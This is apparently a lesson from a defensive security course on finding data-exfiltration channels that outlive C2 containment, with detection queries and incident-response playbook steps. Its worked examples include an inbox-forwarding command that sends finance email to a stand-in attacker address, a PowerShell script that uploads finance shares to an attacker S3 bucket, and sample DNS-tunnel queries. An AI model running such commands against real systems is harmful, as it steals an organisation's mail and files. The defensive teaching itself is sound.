In this section
OD2.10 Exfiltration Channels. The Infrastructure You Haven't Found
You've contained a C2 channel, blocked the domain, isolated the endpoint, killed the beacon. The alert queue is quiet. But the attacker set up a separate exfiltration channel three days ago, and it's still running. The inbox forwarding rule copies every email to an external address. The scheduled task uploads compressed archives to S3 every 6 hours. You contained the C2. You didn't contain the data loss.
Operational Context
You contained C2 yesterday. Today, the DLP team flags an anomaly: 4.2GB uploaded from a file server to an S3 bucket over the past week via a scheduled task the attacker created independently of the beacon. The C2 was the command channel. The exfiltration was a separate operation on separate infrastructure. Killing the beacon killed the commands. It didn't kill the data pipeline.
This sub teaches the five exfiltration channel types, how to hunt for each one independently of the C2 investigation, and how to assess the data exposure window.
Learning Objectives
By the end of this sub you will be able to:
- Hunt for five exfiltration channel types (email forwarding rules, DNS tunneling, cloud storage upload, HTTPS to attacker infrastructure, physical media) after C2 containment, using specific KQL queries for each. The double-extortion model used by every major RaaS platform (LockBit, BlackCat/ALPHV, Royal) depends on this separation: the data exfiltration runs independently of the ransomware C2 so that the exfiltrated data is already in the attacker's hands before the defender discovers the encryption. This matters because most investigations focus on C2 containment and miss the exfiltration channel entirely, leaving the data pipeline running.
- Detect DNS tunneling by query entropy analysis, identifying domains receiving high-entropy, long-subdomain DNS queries that encode exfiltrated data. This matters because DNS tunneling uses a protocol that every system needs (you can't block DNS), operates on a completely different domain from the C2, and produces telemetry patterns that are invisible to standard network monitoring unless you specifically look for them.
- Assess the data exposure window, how much data left your environment, over what time period, through which channel, to determine your breach notification obligation and the double-extortion leverage the attacker holds. This matters because the containment action stops future loss, but the data that already left is the basis for the attacker's ransom demand, your regulatory notification, and your litigation exposure.
Figure OD2.10. Five exfiltration channel types. Each operates independently of C2. Containing C2 doesn't contain data loss.
The Attack
You're about to understand why the attacker separates exfiltration from C2, how each channel type works in practice, and exactly what each one looks like in your investigation telemetry. By the end, you'll stop closing investigations at "C2 contained" and start hunting for the data pipeline you haven't found.
What the attacker is trying to achieve
The attacker's goal with a separate exfiltration channel is data insurance, ensuring that the stolen data is in their hands regardless of whether you contain the C2 channel. For ransomware operators, the exfiltrated data is the double-extortion leverage. For espionage operators, the collected intelligence is the objective itself. In both cases, the exfiltration channel must survive the defender's C2 containment.
The separation follows the same compartmentalisation principle from OD2.1 and OD2.9: each infrastructure component is isolated so that losing one doesn't compromise the others. The C2 channel is for commands. The exfiltration channel is for data. Different domains, different protocols, different infrastructure. Killing one doesn't affect the other.
Email forwarding rules: the silent pipeline
The simplest and most common exfiltration in M365 environments. The attacker creates an inbox rule that forwards all incoming email, or email matching keywords like "invoice," "payment," "confidential," "board", to an external address. The rule runs server-side in Exchange Online. No endpoint component. No C2 dependency. It survives password resets, session revocations, endpoint isolation, and MFA changes.
Here's what the attacker creates and what it looks like in your audit log:
Attacker action:
New-InboxRule -Name "Auto-Archive" -ForwardTo attacker@protonmail.com
-SubjectContainsWords "invoice","payment","wire","transfer","board"
-MarkAsRead -MoveToFolder "Deleted Items"
What the user sees: nothing. The rule forwards matching emails,
marks them as read, and moves the originals to Deleted Items.
The user's inbox looks normal.
What the audit log shows:
Operation: New-InboxRule
UserId: j.smith@northgate-engineering.com
Parameters: {"Name":"Auto-Archive","ForwardTo":"attacker@protonmail.com",
"SubjectContainsWords":["invoice","payment","wire","transfer","board"],
"MarkAsRead":"True","MoveToFolder":"Deleted Items"}
What you miss if you don't check: every email matching those keywords
has been forwarded for the entire compromise window. If the rule was
created 8 days ago and the user receives 5 matching emails per day,
40 emails containing financial transaction details have been forwarded
to the attacker.DNS tunneling, data encoded in queries
The compromised endpoint resolves [base64-encoded-data].exfil.attacker-domain[.]com. The authoritative DNS server for attacker-domain[.]com extracts the data from the subdomain. Each DNS query carries approximately 200 bytes of encoded data. Thousands of queries per hour = megabytes of data exfiltrated through the protocol your firewall is configured to always allow.
Here's what DNS tunneling looks like in your DNS logs:
Normal DNS queries:
www.microsoft.com A (14 chars subdomain)
login.microsoftonline.com A (26 chars subdomain)
cdn.cloudflare.com A (16 chars subdomain)
DNS tunnel queries:
dGhlIHF1aWNrIGJyb3duIGZveA.exfil.data-sync-service.com A (43 chars subdomain)
anVtcHMgb3ZlciB0aGUgbGF6.exfil.data-sync-service.com A (42 chars subdomain)
eSBkb2cu.exfil.data-sync-service.com A (36 chars subdomain)
Indicators:
- Subdomain length > 40 characters (Base64 encoded data)
- High entropy (encoded data looks random)
- High query volume to a single domain (thousands/hour)
- All queries to the same root domain (data-sync-service.com)
- Root domain doesn't match any known business serviceCloud storage upload, hiding in legitimate traffic
The attacker uploads to S3, Azure Blob, Google Drive, or MEGA. The upload goes to the provider's trusted domain over HTTPS. Your proxy sees cloud storage traffic, which your users generate thousands of times daily.
The worked investigation example from the opener:
Investigation finding, scheduled exfiltration task:
Task name: "System Maintenance Check"
Trigger: every 6 hours
Action: powershell.exe -ep bypass -f C:\Windows\Temp\maint.ps1
Script content (maint.ps1):
$dirs = @("\\SRV-NGE-FS01\finance$\Invoices",
"\\SRV-NGE-FS01\finance$\Contracts")
foreach ($d in $dirs) {
Compress-Archive -Path $d -DestinationPath "$env:TEMP\arch.zip" -Force
# AWS CLI installed by the attacker during post-exploitation
& "$env:TEMP\aws.exe" s3 cp "$env:TEMP\arch.zip" `
"s3://company-backup-2026-q2/$(Get-Date -f yyyyMMdd-HHmm).zip" `
--region us-east-1
Remove-Item "$env:TEMP\arch.zip"
}
Running for 5 days × 4 uploads/day = 20 upload cycles.
Finance share contains ~200MB of invoices and contracts.
Total estimated exfiltration: ~4GB (compressed, with updates)
The task runs independently of the C2 beacon. Killing the beacon
doesn't stop the task. The task uses AWS CLI with credentials the
attacker provisioned in a separate AWS account. Your proxy sees
HTTPS to s3.amazonaws.com, allowed.HTTPS to attacker infrastructure: the general-purpose channel
Direct HTTPS upload to a domain the attacker controls. The data is encrypted in transit (HTTPS) and may be additionally encrypted in the payload. The exfiltration pattern: large outbound payloads (the data) with small response payloads (the server's acknowledgment).
This is detectable via the same asymmetric-transfer pattern used for cloud storage exfiltration (OD2.5), but targeting non-cloud destinations:
// Large outbound transfers to non-standard destinations
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort == 443
| where SentBytes > ReceivedBytes * 10 // asymmetric: 10x more sent than received
| where SentBytes > 500000 // >500KB per connection
| where InitiatingProcessFileName !in ("onedrive.exe", "teams.exe",
"outlook.exe", "chrome.exe", "msedge.exe", "firefox.exe")
| where not(RemoteUrlHost has_any ("microsoft.com", "google.com",
"amazonaws.com", "cloudflare.com"))
| summarize
TotalSentMB = round(sum(SentBytes) / 1048576.0, 2),
TransferCount = count(),
DistinctHours = dcount(bin(TimeGenerated, 1h))
by DeviceName, InitiatingProcessFileName, RemoteUrlHost
| where TotalSentMB > 10
| order by TotalSentMB descStep 1. Hunt for email forwarding rules (5 minutes).
-- External forwarding rules across all mailboxes (past 90 days)
OfficeActivity
| where TimeGenerated > ago(90d)
| where Operation in ("New-InboxRule", "Set-InboxRule",
"Enable-InboxRule")
| where Parameters has "ForwardTo" or Parameters has "RedirectTo"
or Parameters has "ForwardAsAttachmentTo"
| extend RuleDetail = tostring(Parameters)
| where RuleDetail has "@" and RuleDetail !has "@yourdomain.com"
| project TimeGenerated, UserId, Operation, RuleDetail
| order by TimeGenerated descReview each result: a. Is this a known, authorized forwarding rule? b. Is the destination a personal email (gmail, outlook, protonmail)? c. When was the rule created? Does the timing align with any known compromise or phishing event? d. What keywords does the rule filter on? ("invoice", "payment", "confidential" = exfiltration) (No filter / forward all = bulk exfiltration) Step 2. Hunt for DNS tunneling (5 minutes).
-- High-entropy, long-subdomain DNS queries
DnsEvents
| where TimeGenerated > ago(7d)
| extend SubLen = strlen(Name) -
strlen(extract(@"\.([^\.]+\.[^\.]+)$", 1, Name)) - 1
| where SubLen > 40
| summarize QueryCount = count(), AvgLen = round(avg(SubLen), 1)
by RootDomain = extract(@"\.([^\.]+\.[^\.]+)$", 1, Name)
| where QueryCount > 50
| order by QueryCount descReview each result: a. Is this domain a known business service? (Some CDN telemetry and analytics produce long subdomains) b. Is the subdomain content random-looking? (= encoded data) c. Are the queries from a single endpoint or many? (Single = compromised host. Many = possibly legitimate.) Step 3. Hunt for anomalous cloud uploads (5 minutes).
Run the cloud storage upload KQL from OD2.5's detection tabs. Review results for non-standard processes uploading to cloud storage destinations not in your organization's baseline.
Step 4. Hunt for asymmetric HTTPS transfers (5 minutes).
Run the HTTPS asymmetric transfer KQL from this sub. Review results for non-browser processes sending significantly more data than they receive to unfamiliar destinations.
Step 5. Document your baseline.
Exfiltration channel baseline:
Email forwarding rules to external: ___ (expected: ___, investigate: ___)
DNS tunnel candidates: ___ (expected: ___, investigate: ___)
Cloud upload anomalies: ___ (expected: ___, investigate: ___)
Asymmetric HTTPS transfers: ___ (expected: ___, investigate: ___)
Save this baseline. When you run the same hunt during a future
investigation, deviations from the baseline are your investigation
targets.Success criteria: You've run all four exfiltration detection queries, classified results as expected or investigation-worthy, and documented your baseline.
Challenge: If you found an inbox forwarding rule to an external address that nobody authorized, congratulations: you've found either Shadow IT or an active compromise. Either way, it needs immediate investigation. Check when it was created, what it forwards, and whether the user's sign-in logs show any anomalies around the creation date.
How the attacker chooses the exfiltration channel
The channel choice follows the same constraint logic as every other operational decision:
IF target monitors outbound DNS → use HTTPS cloud upload
IF target inspects HTTPS → use M365 forwarding rules
IF target monitors forwarding → use external file sharing
IF target monitors sharing → use DNS-over-HTTPS tunnelingTest your exfiltration visibility
For each channel, assess your monitoring:
DNS TUNNELING:
Log all DNS queries? Y/N
Inspect for encoded data in subdomains? Y/N
Monitor DNS-over-HTTPS endpoints? Y/N
CLOUD STORAGE UPLOAD:
Monitor non-browser uploads to S3/Azure/GCS? Y/N
Log upload volume per process? Y/N
M365 FORWARDING RULES:
Monitor Set-InboxRule in audit logs? Y/N
Alert on forwarding to external domains? Y/N
Your weakest channel = where the attacker exfiltrates.
The channel with the most "No" answers is your blind spot.What Your Attack Produced
Switch perspective. Exfiltration channels produce telemetry in different log sources than C2, and that's deliberate. The attacker designed them to be invisible to your C2 detection.
Each exfiltration method produces telemetry in a different place:
DNS TUNNELING:
Sysmon Event 22. DNS queries with encoded data in subdomain:
QueryName: aGVsbG8gd29ybGQ.exfil-data.attacker-dns[.]com
Signal: long subdomain labels (>30 chars), high query volume
to a single domain, base64-like patterns in labels
M365 FORWARDING RULES:
Unified Audit Log. Set-InboxRule:
Operation: Set-InboxRule
Parameters: ForwardTo=attacker@external-domain.com
UserId: j.smith@northgate-engineering.com
Signal: forwarding rule created to external address,
especially if created shortly after an anomalous sign-in
CLOUD STORAGE UPLOAD:
Proxy log / Sysmon Event 3:
Process: powershell.exe
Destination: storage.googleapis.com (or blob.core.windows.net)
Bytes sent: 50MB+ in a single session
Signal: non-browser process uploading large data to cloud storage
Each channel is invisible to C2 detection because it doesn't
use the C2 domain or the C2 protocol. The exfiltration uses
entirely separate infrastructure, that's the compartmentalisation.The critical insight: if you contain the C2 (block the beacon's domain, kill the process), the M365 forwarding rule continues operating. The attacker set it up during the compromise using the stolen session token, and it runs on Microsoft's infrastructure, your containment of the endpoint doesn't touch it. Exfiltration containment requires checking every channel independently.
Detecting This
The detection targets the two highest-priority exfiltration channels: inbox forwarding rules (most common, real-time, highest impact) and DNS tunneling (hardest to detect, uses a protocol you can't block).
title: Inbox Rule Created with External Forwarding
id: gj2l0k09-1k3h-4i5j-7k8f-9a0b1c2d3e4f
status: stable
description: |
Detects creation of inbox rules that forward, redirect, or
forward-as-attachment to external email addresses. The most
common M365 exfiltration channel — server-side, real-time,
survives password reset and endpoint containment.
references:
- https://ridgelinecyber.com/modules/paid/od02-offensive-infrastructure/10
logsource:
product: m365
service: exchange
detection:
selection:
Operation:
- 'New-InboxRule'
- 'Set-InboxRule'
- 'Enable-InboxRule'
filter_action:
Parameters|contains:
- 'ForwardTo'
- 'RedirectTo'
- 'ForwardAsAttachmentTo'
filter_internal:
Parameters|contains: '@yourdomain.com'
condition: selection and filter_action and not filter_internal
falsepositives:
- Legitimate external forwarding configured by users
- IT-managed forwarding for shared mailboxes
level: high
tags:
- attack.exfiltration
- attack.t1114.003
- attack.collection
- attack.t1114.002
// Inbox rule with external forwarding — near-real-time detection
OfficeActivity
| where TimeGenerated > ago(1h)
| where Operation in ("New-InboxRule", "Set-InboxRule",
"Enable-InboxRule")
| where Parameters has_any ("ForwardTo", "RedirectTo",
"ForwardAsAttachmentTo")
| extend RuleDetail = tostring(Parameters)
| where RuleDetail has "@"
and RuleDetail !has "@yourdomain.com" // adjust for your domain
| project TimeGenerated, UserId, ClientIP, Operation, RuleDetail
// ALERT: external forwarding rule created.
// Check: is this user's account recently compromised?
// Correlate with sign-in logs for unfamiliar IP access.
// DNS tunneling detection — high-entropy long-subdomain queries
DnsEvents
| where TimeGenerated > ago(24h)
| extend RootDomain = extract(@"\.([^\.]+\.[^\.]+)$", 1, Name)
| extend SubLen = strlen(Name) - strlen(RootDomain) - 1
| where SubLen > 40
| summarize
QueryCount = count(),
AvgSubLen = round(avg(SubLen), 1),
MaxSubLen = max(SubLen),
DistinctClients = dcount(ClientIP)
by RootDomain
| where QueryCount > 50 and AvgSubLen > 30
| order by QueryCount desc
// Domains with 50+ queries averaging 30+ char subdomains
// from a single client = probable DNS tunnel.
// Cross-reference RootDomain against threat intelligence.
// Defender XDR — Inbox rule with external forwarding
CloudAppEvents
| where Timestamp > ago(1h)
| where ActionType in ("New-InboxRule", "Set-InboxRule")
| where RawEventData has_any ("ForwardTo", "RedirectTo",
"ForwardAsAttachmentTo")
| where RawEventData has "@"
and RawEventData !has "@yourdomain.com"
| project Timestamp, AccountObjectId, ActionType, RawEventData
// DNS tunneling (requires DeviceEvents with DNS data)
DeviceEvents
| where Timestamp > ago(24h)
| where ActionType == "DnsQueryResponse"
| extend QueryLen = strlen(AdditionalFields)
| where QueryLen > 60
| summarize QueryCount = count() by RemoteUrl
| where QueryCount > 50
| order by QueryCount desc
`comment("Inbox forwarding rule detection")`
index=o365 sourcetype=o365:management:activity
(Operation="New-InboxRule" OR Operation="Set-InboxRule"
OR Operation="Enable-InboxRule")
(Parameters="*ForwardTo*" OR Parameters="*RedirectTo*"
OR Parameters="*ForwardAsAttachmentTo*")
NOT Parameters="*@yourdomain.com*"
| table _time UserId ClientIP Operation Parameters
`comment("DNS tunneling detection")`
index=dns sourcetype=dns
| eval subdomain_len=len(query)-len(mvindex(split(query,"."),-2))-len(mvindex(split(query,"."),-1))-2
| where subdomain_len>40
| stats count as query_count avg(subdomain_len) as avg_len
dc(src) as distinct_clients
by mvindex(split(query,"."),-2).".".mvindex(split(query,"."),-1)
| rename "mvindex(split(query,\".\"),-2).\".\".\".mvindex(split(query,\".\"),-1)" as root_domain
| where query_count>50 AND avg_len>30
| sort - query_count
Hunting. scheduled tasks with external destinations
After C2 containment, systematically hunt for exfiltration tasks on compromised endpoints:
// Scheduled tasks created during the compromise window
// that reference external URLs, cloud storage, or data tools
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-04-20) .. datetime(2026-04-28))
| where FileName in ("schtasks.exe", "at.exe")
or (FileName == "powershell.exe" and ProcessCommandLine
has_any ("Register-ScheduledTask", "New-ScheduledTask"))
| where ProcessCommandLine has_any ("s3", "blob", "mega", "ftp",
"upload", "compress", "archive", "Compress-Archive",
"aws.exe", "rclone", "curl", "wget")
| project TimeGenerated, DeviceName, AccountName,
ProcessCommandLine
| order by TimeGenerated asc
// Any scheduled task referencing cloud storage CLIs, compression
// tools, or upload commands created during the compromise window
// is a probable exfiltration pipeline.Mitigation. preventing and containing exfiltration
Alert on all external inbox rule creation. Deploy the near-real-time detection from the detection tabs. Every external forwarding rule gets a SOC ticket. Most will be legitimate: the one that isn't is the exfiltration channel.
Block or restrict DNS to known resolvers. Force all DNS through your organization's resolvers (which can log and inspect queries) rather than allowing endpoints to query any DNS server. This makes DNS tunneling visible, though it doesn't prevent it from reaching the external authoritative server.
Deploy an outbound data transfer baseline. Know which processes upload to cloud storage, how much they upload, and where. The exfiltration detection from OD2.5 applies directly. When the investigation starts, deviations from the baseline are your targets.
After C2 containment: run the exfiltration hunt before closing. Add the four-channel hunt to your IR playbook as a mandatory step after C2 containment. The investigation isn't complete until you've confirmed no exfiltration channels are still running.
Logging gaps. what you're probably not seeing
Gap 1. No inbox rule auditing. If OfficeActivity isn't forwarded to your SIEM, you have no visibility into inbox rule creation. This is the most common M365 exfiltration channel, and it's invisible without audit log ingestion. Verify OfficeActivity is flowing.
Gap 2. No DNS query logging with subdomain detail. Some DNS logging configurations record the root domain but not the full query (including subdomains). Without the full query, you can't detect DNS tunneling: the subdomain IS the data. Verify your DNS logging captures the complete query string.
Gap 3. No outbound transfer volume baselining. Without a baseline of normal outbound transfer patterns, you can't identify anomalous uploads during an investigation. The first time you run the cloud upload query, everything looks unfamiliar. The second time (after you've baselined), anomalies are immediately visible.
Verify against your own telemetry. Run the detection queries from the tabs above against your lab SIEM. Your attack should appear in the results.
Objective: Deploy the two highest-priority exfiltration detection rules and add the exfiltration hunt to your incident response playbook.
Prerequisites: Access to your SIEM with OfficeActivity and DnsEvents ingested.
Step 1. Deploy inbox rule forwarding alert.
Copy the Sentinel KQL from the detection tabs into a near-real-time analytics rule:
Name: "External Inbox Forwarding Rule Created"
Frequency: every 15 minutes
Lookback: 1 hour
Severity: High
Action: create incident + assign to IR team
Why HIGH: external forwarding = real-time data exfiltration.
Every minute the rule runs is more data leaving your environment.Step 2. Deploy DNS tunneling detection.
Copy the DNS tunneling KQL into a scheduled analytics rule:
Name: "Potential DNS Tunneling. High-Entropy Subdomain Queries" Frequency: every 4 hours Lookback: 24 hours Severity: Medium Action: create incident for SOC review
Tune: baseline the domains that legitimately produce long subdomains in your environment (CDN telemetry, analytics, application heartbeats) and add them to the exclusion list. Step 3. Update your IR playbook.
Add to your incident response procedure AFTER "C2 contained":
POST-C2 EXFILTRATION HUNT (mandatory, 20 minutes): ☐ Run inbox rule forwarding query for all compromised accounts ☐ Check scheduled tasks on compromised endpoints for external destinations (cloud storage CLIs, upload tools, compression) ☐ Query network logs for large outbound transfers from compromised systems during the compromise window ☐ Run DNS tunneling query for compromised endpoint IPs ☐ Document findings: channel type, data volume estimate, time window, destination
The investigation is NOT complete until this hunt confirms no exfiltration channels are still running. Step 4. Test against historical data.
Run both detection queries against 30 days of historical data. The inbox rule query may surface legitimate forwarding rules you didn't know about, and possibly rules that shouldn't exist. The DNS query may surface legitimate long-subdomain services, and possibly tunneling you've been missing.
Success criteria: Both detection rules are deployed. The exfiltration hunt is in your IR playbook as a mandatory post-containment step. You've tested against historical data and documented your baseline.
Challenge: Run the inbox rule forwarding query for your entire tenant (not just compromised accounts). How many external forwarding rules exist? How many were authorized by your security team? The gap between "exists" and "authorized" is your Shadow IT exfiltration risk, and occasionally, your active-compromise exfiltration risk.
The investigation that closes at "C2 contained" leaves the data pipeline running
C2 containment stops commands. It doesn't stop data.
Every exfiltration channel in this sub operates independently of C2. Inbox forwarding rules are server-side. Scheduled tasks run locally. DNS tunnels use a different domain. Cloud storage uploads use a different protocol. None of them need the C2 beacon to function. They were created by the attacker as separate infrastructure components: the same compartmentalisation from OD2.1 applied to the data pipeline.
The data exposure assessment that follows the exfiltration hunt determines three things: what data left (content), how much (volume), and for how long (window). These three numbers drive every downstream decision: breach notification (is regulated data involved?), double-extortion response (what leverage does the attacker hold?), litigation exposure (what duty of care applies?), and remediation scope (what needs to be rotated, revoked, or reissued?).
The containment action is necessary. The data exposure assessment is what the business actually needs.
You should be able to do the following without referring back to this sub. If you can't, the sections to re-read are noted.